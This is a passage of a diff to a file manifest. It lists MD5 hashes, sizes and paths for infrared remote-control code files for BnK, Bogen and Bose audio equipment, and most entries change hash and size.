-F:84ef617e049a7bc1c473b3985a17754c:3888:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir -F:5ab25e15957ae777a055a714f13462bd:5759:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir -F:3f9ab8c9dc85abeb4e6cbeb3e13762d6:2875:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir -F:d8b355532ad1ceaf70affe6e12d95d2e:3825:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir -F:a2fda58f6da8a199b3a4196d7b7b7174:4243:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir -F:dae65421b146019835b93bd0f0877837:7958:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir -F:c7c477bfd4a290a5b48db7b6bec3fdfe:9011:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir -F:64a7aaab5df036ff44b7ef8915f9fa67:3122:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir -F:f9f1cc2991dd2f6fde58f8800766c851:5000:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir -F:804486148ce386f2e76c1a87569284e8:3801:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir -F:42f368968ecda67571b5e624506ef62b:3474:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir -F:cfa4ff50c3ac9432474b2ab45d0bfe81:3388:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir -F:77167754c962a6b04372206cee17e168:4760:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir -F:c09c7fcdec67efcce626ef9bc8632eda:1227:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir -F:c173ace9d2f7c86812f38512e12001f8:4648:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir -F:554cdd62fb153bbbe684880c68225c41:3886:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir -F:e6da78dfafc56ab2ad7b2a1e6df966c9:3982:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir -F:fe1f1ec129a39d9f1887927bff9776c2:2861:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir -F:6e656dfd91c08027d448dfc4023af5ab:3705:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir -F:5230005de581cf2032f489d083e79d59:3986:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir -F:c055a025492f3c435dd0cc61e9ed54d4:1314:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir -F:b8d662b464ce007d8db6851ff3de3915:5000:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir -F:7b68304b6d79f2da733b1b8ff3ff3bd0:3704:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir -F:0c816fbe941675cd2afa26c9150eb7b6:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir -F:40a31e9b467018c15ddfddeeaac0c825:5404:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir -F:f587c126704750eb2f5886c84c784f5d:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir -F:1bece46a7635df85a2686ac293d5f3bd:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir -F:2fffd4e1eeb63ff30302b4dac76d5e32:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir -F:cd7bcc0af069093ce3476b0f58817462:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir -F:c7e0f214b093aca18f5a90e51acfba6f:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir -F:be19ddbaeb6f8f0d6e3bdbf47da85011:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir -F:04c9adab4d95c72b6ee04be3ff771dcc:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir -F:8f98dfaf4ac65f30b9c0af8dd01a3ee6:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir -F:c948ba02e2bf647b85023ed1d4369100:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir -F:f722b1b3adf6a28c65108bb917891e10:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir -F:1dc662b8f35c1f4290d6d33ea54101b0:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir -F:5600bf62457162da8bd12d1898abc54d:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir -F:82058688a72a44150a4ef91dd983d753:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir -F:172b7264ce82be5185d41b28ec364414:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir -F:11b23332c40c9b80819dac51219df9e6:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir -F:136c293853cc77a5f61a5690d5fd565f:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir -F:24a4fef369008b740ea00ed7deda3373:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir -F:d58087936b34bc2ab1bc18dba8f072a2:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir -F:3a80bb2dead5ade0c2d78ca701705f67:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir -F:e04c58080b090e5f6c100d3616bd0b7c:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir -F:24dbd1fc6ad6ce0cff9877bc42377b0e:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir -F:a3ea657c835090a1ab9c90a2cae08718:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir -F:01ff06f3c8d375eb047abc2345d3f8fd:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir -F:0e45d55e6a7cda89ff0b5440281afc0a:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir -F:efac5803ee73392394e7168750effd2c:5607:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir -F:77c5421dac1f7594481dd2e3c1ec3c84:5704:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir -F:047fa572035340acb7634f13997b5d67:126:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir -F:776a30297e3b7ef7d3435ca3f57e9c74:8711:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir -F:317d524c4aff6df3024054d12bda1f72:6554:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir -F:92aefe5169e6e4ec35fd808aef06f64b:6467:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir -F:2dd870f8b9bfdcc51b418424a1cf63f5:29767:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir -F:4902c3939e5609c281f0c01f385ad60b:2841:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir -F:1a05403a3eb7476e9040aaba6838d3ee:2748:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir -F:317d524c4aff6df3024054d12bda1f72:6554:infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir -F:92aefe5169e6e4ec35fd808aef06f64b:6467:infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir -F:baded458bea846d66802677c3a7221fa:28449:infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir -F:4a0fbb8537176bcff7e77129a957325c:6760:infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir -F:bad0b2b398d5559e70eca76f2cdb40ab:9078:infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir -F:317d524c4aff6df3024054d12bda1f72:6554:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir -F:92aefe5169e6e4ec35fd808aef06f64b:6467:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir -F:a4c9a83a0d46b33b43ba437f840c1634:6467:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir -F:620728fd400b550c0d61de37d5b321e1:4185:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir -F:3da0ab7e1cf3532c63a0bfe2d411144e:4185:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir -F:1be455b8da78bc6e7766f641a9b77762:4185:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir +F:98f306eb8ced756e1718b01d6d74dbfd:118:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir +F:df13f71e0601d6dc7b7bad92013b1d9c:7644:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir +F:f26fc0b7905945c1f02ca3b7930f9a8b:4657:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir +F:a80ae20cd7e93ad709365e8644620042:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir +F:68e3758f0cb9ca42f282173d147ca0b4:4738:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir +F:3a4df770e25dea0fb68ffb791a627f49:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir +F:68d798a310891c85655308d1d121329f:4657:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir +F:9c4bf2ff174c2bce7bad3d1fb314c36c:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir +F:288db218e7a3e3d00e7a58e2afda49e9:9450:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir +F:e57c8ee4c33ebe6e64573e995a64ef47:6456:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir +F:2d344ec6cec6e2147584392ad36fa197:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir +F:a934901756db0a780e1d8fe6b3a74bc7:5571:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir +F:a2e5530b7c6a6f08252d02808dd0e028:4657:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir +F:b37488775ad0e013ffb2c361ab46005d:4346:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir +F:66fd647d189975868b4ae3316882e0d3:4657:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir +F:56035adc45e743d47f79f57b77e2fee4:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir +F:20d46b3461356dc0c18be7b00b325877:3655:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir +F:e29a29d1387b780a9b4c88ea1a883261:3160:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir +F:847b2b505225d146bb48fe43b9148218:4532:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir +F:9509a0371e9645f9a178ef3cd9013adf:2805:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir +F:d0ae023ee9c23c4bf92d31a7fb13c584:3806:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir +F:a80ae20cd7e93ad709365e8644620042:4674:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir +F:5d22de6493a3a3f21e6444140a1a8bba:3289:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir +F:b7e69fc3fd457ea0ca9288f27f264b41:3807:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir +F:3ae87021745a358a08cd5509091ccba8:2678:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir +F:4aa9be3fd0b161cd44f6bdc7eaa86662:4817:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir +F:de044e824d329902f7e2bad9100c0745:3244:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir +F:e8c92fcdd180ab21c1374c4bf730a629:3984:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir +F:9f101a85085540cd37cabf94a9b2be0c:3483:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir +F:02324e6c4dc34847f92aaae1ae78998a:4937:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir +F:81f923960711e9e8cc0aae8bc8cd7945:3001:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir +F:3a4df770e25dea0fb68ffb791a627f49:4674:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir +F:8697a581f0fb2e60f918427c1d567650:3884:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir +F:5de8e6ca42970391477bd89d43cd5cc3:576:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir +F:0021d0483d1472d432be790df51efc79:3634:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir +F:508f42b64787aae2f66a4fd57698e302:5385:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir +F:3eabdc3f38b1dd0fdb8e6488ce9a9682:2687:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir +F:0cde0ee7469b03e3681e550ac8a6e932:3571:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir +F:b8ffd7565b1005dfd9a539a81ad50586:3965:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir +F:3860dc306fcdaf802142be619aff7d05:7428:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir +F:8d21a72bd8ce8275f7ab1902ce0a18fa:8421:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir +F:a0db51c4a3956e06a9648547c95e73f2:2916:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir +F:2d344ec6cec6e2147584392ad36fa197:4674:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir +F:f3980c75db09267b588a4dc7004c8394:3553:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir +F:60d196c5b0d0b6c3c962fa72d8b7cc57:3244:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir +F:b468af0b0a63de52a09bfc14106dcb3b:3164:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir +F:b5e4c8eed0d9d684a104c0cabbdd1852:4446:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir +F:8e2ed622aa2cda349cd44df3d29cfe3b:1147:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir +F:b37488775ad0e013ffb2c361ab46005d:4346:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir +F:d0d66f2509df4171874c3e1a35705ec0:3632:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir +F:f39d24fc37c2eec989385b88eb4c87ca:3722:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir +F:b6dbcc5f8ea8b6f01b805ab8189c3087:2673:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir +F:7a13e050ad8ab67b36e8ca0b02e25478:3457:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir +F:cd58f6280cd2c58690d8f43bbb18ed05:3726:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir +F:948020f4832bd8f7f31b909144fad026:1228:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir +F:56035adc45e743d47f79f57b77e2fee4:4674:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir +F:72b3ba6e870e9f33cd007047e4f7a0fc:3462:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir +F:d894aae0a4d5cc6db3b7bc3a69b9c303:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir +F:8322dd9525121abdc7e61f1cce8a869c:5078:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir +F:5277ca4ec25b49d7757dfe4713170d52:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir +F:6afa40c6c21c60f73d0cf040007c0486:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir +F:51182acef88361509b2caa50043cce95:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir +F:2b7e7ab575545be34e00e04ba92baf1c:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir +F:6f4c0a2a01d72b4c8529b0693de7e0ae:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir +F:960655c4205e8e28fae9f16605f026d7:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir +F:0db4af57010ccb352d5dae4c563f6050:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir +F:408c71948ab4d110aae0cf18fd5c4be9:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir +F:291dc892b59ac8235d782b03a489e6e8:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir +F:8755f451cb160ed3e7fe1b8031f4a553:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir +F:9f91995f41c1df1110cd99f5490956cb:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir +F:c7bfebdf766e13410b72012720b49b51:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir +F:4dde0e8337fb4fc1f94948e5aea32c21:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir +F:c4cbb36e977a764cf92ce77d73ffc017:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir +F:9ccb3ac1264c8295f1a88b0fbde47a08:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir +F:b788f0b5a2c11b7eafb85aaf8ce11b0b:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir +F:522a674a62782cbb64befa57e2a4105d:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir +F:a1f74fecdce2779c641c8189ea05c87a:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir +F:777d5e08713a66542602a0f2e3426de7:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir +F:05210c18c22240085d4fbd04e87801d0:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir +F:08733cb6c7620ce5d42aea3e124b269d:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir +F:631cd93ad59bb0770d36b6f88119e8ea:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir +F:cb67db2871b6debee248bb95fff58030:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir +F:5fd8198423ab99f0dd1d5178f374b739:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir +F:059afc410703e4f44d54b0477b5092fb:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir +F:0e8a0a9b56511ff66e6b693d9173590e:5360:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir +F:98f306eb8ced756e1718b01d6d74dbfd:118:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir +F:8f5d5d994d8b56f3d75fd229c154a742:8145:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir +F:f9c267376c772bab2e7c8daf4c2d2e6d:6156:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir +F:3ef5dc1ff7fd8c9b775dde73f9a43ff9:6075:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir +F:3952012edc6c320d8134300b92c20e3e:27917:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir +F:6db904bc7112c3e5c8884c631ee8b81a:2659:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir +F:365090a80419bdf9a4593d6c1349d8c0:2572:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir +F:f9c267376c772bab2e7c8daf4c2d2e6d:6156:infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir +F:3ef5dc1ff7fd8c9b775dde73f9a43ff9:6075:infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir +F:d51853a05a6160915cf43a7bad54c701:26683:infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir +F:5d9da2e7062e0827943485b55a43367d:6320:infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir +F:ad8a751e8d866ce4097faadca10d0743:8488:infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir +F:f9c267376c772bab2e7c8daf4c2d2e6d:6156:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir +F:3ef5dc1ff7fd8c9b775dde73f9a43ff9:6075:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir +F:a645661463bdff35aec6405523f6081f:6075:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir +F:5804206325d8e3c6bc022d9a0c542130:3931:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir +F:98e901e79e6c703e94385594fc01557f:3931:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir +F:b5b93a556599eaac3619bc4311d97076:3931:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir D:infrared/_CSV-IRDB_/Bogen/Amplifier -F:97e146d99ed02962c544a3cdaeaf111d:1952:infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir +F:e1a7ded338637321b2fe45f3a89d3588:1824:infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir D:infrared/_CSV-IRDB_/Bose/3-2-1 D:infrared/_CSV-IRDB_/Bose/CCF Conversion D:infrared/_CSV-IRDB_/Bose/Lifestyle @@ -1619,82 +1619,82 @@ D:infrared/_CSV-IRDB_/Bose/System D:infrared/_CSV-IRDB_/Bose/Tuner D:infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO D:infrared/_CSV-IRDB_/Bose/Unknown_Wave -F:88dc76346fbdb32cb9a7643ad18bb410:3685:infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir -F:14715b05fb7343daa6c55ef7ee91a06d:2592:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir -F:e37b86c344f5eec077ae2bc20d51ec13:2793:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir -F:bb46b10a080da9a627dd8fdafec696d2:2592:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir -F:7c2c50dfd41629918e02eab37cfd8c30:6421:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir -F:faaf82ef0e78a1cc19b9e0ac594f6693:4100:infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir -F:312138851ddadbf66fe134ae4e4a6c68:5078:infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir -F:8a451ee33c33c567ab151480656d49af:14194:infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir -F:5f6c806dd4aa047b95206f4fcee51e71:4657:infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir -F:10e9caa915ffbae118e99afa6fb448c7:4749:infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir -F:215a472a905b588be4bf21de4e07c6b9:4649:infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir -F:d99dab79c538cef3d995db0d06a383c9:4657:infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir -F:42320926c0e7144533e8106a72ed1d67:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir -F:b188bca5df19f13d6f1158f6f42221f2:4190:infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir -F:b837ecabdd6a04c5668e59513e69ae16:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir -F:cc123f5b616f0e6041116f05f63cc217:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir -F:9ee9032ddc8e681394de245df8b54579:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir -F:63c50128b3c73f771fddf9ac7b00f71b:4277:infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir -F:f5fede92614437535da1fdcd80c391c2:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir -F:1ef7d6669be80bc25018bd3fbf281ae5:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir -F:459a90a4684923b6023bac0b826a0145:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir -F:782b1f63787a7cbcc367216113e2ea85:4096:infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir -F:de996cfbccfbfd93822d6b2afca464cb:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir -F:09e3a744f5812c6e1021a0ed2b5ee187:9046:infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir -F:913a6a491e8f8fba811603fafec740b0:9147:infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir -F:9925387e00f59ba581b3dfa9168a5553:8957:infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir -F:fe25f48411e3ea5ac9bd420af95d4c4c:9046:infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir -F:3259ba6744a8b28f58f91cb488af870c:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir -F:d10ab32da226137b29a442f1878bb76a:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir -F:10290860017ff0f78dc54f942a96052d:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir -F:d992b654389117a40b3480ea653f242f:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir -F:d329d877eaba5a723b82162e8aa8ef85:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir -F:99a7451ed25d3422c77ec582bfec0744:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir -F:82750862ea8e6944ab5dbd829f92aab3:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir -F:61fa462dc3b47966bbe516a4c09cf169:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir -F:ec75070812b3fa93134e36b7ab4c4090:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir -F:3f2a4217ff55887f986392ee12d154bb:6653:infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir -F:8d249b2eb7e5338b8808ca0c9042d1d7:5524:infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir -F:90c4c9bacc28daf39ac47a61ec8ef9d3:2308:infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir -F:2c04bd575c196acb5196b6c9d4ed64df:134:infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir -F:822d658a3b40eee81097e7d359e12196:4388:infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir -F:ec9faaf5184373d78d3d773687c76b54:2250:infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir -F:c23524954eab424597a0e8119f3a0fab:3586:infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir -F:8c1708d0a0d0fcec8ea7252695aef663:2250:infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir -F:541fb0b75c3721724c720b91def0db24:4321:infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir -F:6c6809f23a1ec8e61827836e855d345e:412:infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir -F:361ef6245b30d2f6e8d516d40fcc5b55:12466:infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir -F:8e797af4e1c80ae633319fa59dd6344f:2176:infrared/_CSV-IRDB_/Bose/System/186,85.ir -F:cf31fd55d8e4000285acd4990b0c5afc:2128:infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir -F:ea95130a9641ace89965b5a5b8d2d696:1682:infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir -F:756c85ae2420568692b52b283d1a1f8e:2534:infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir +F:053ec4db128082b3e6db9c09a6daec24:3449:infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir +F:6b2fde2682fe8f71fa8503983760c22c:2440:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir +F:51415735700f680269c5f98597b57f84:2629:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir 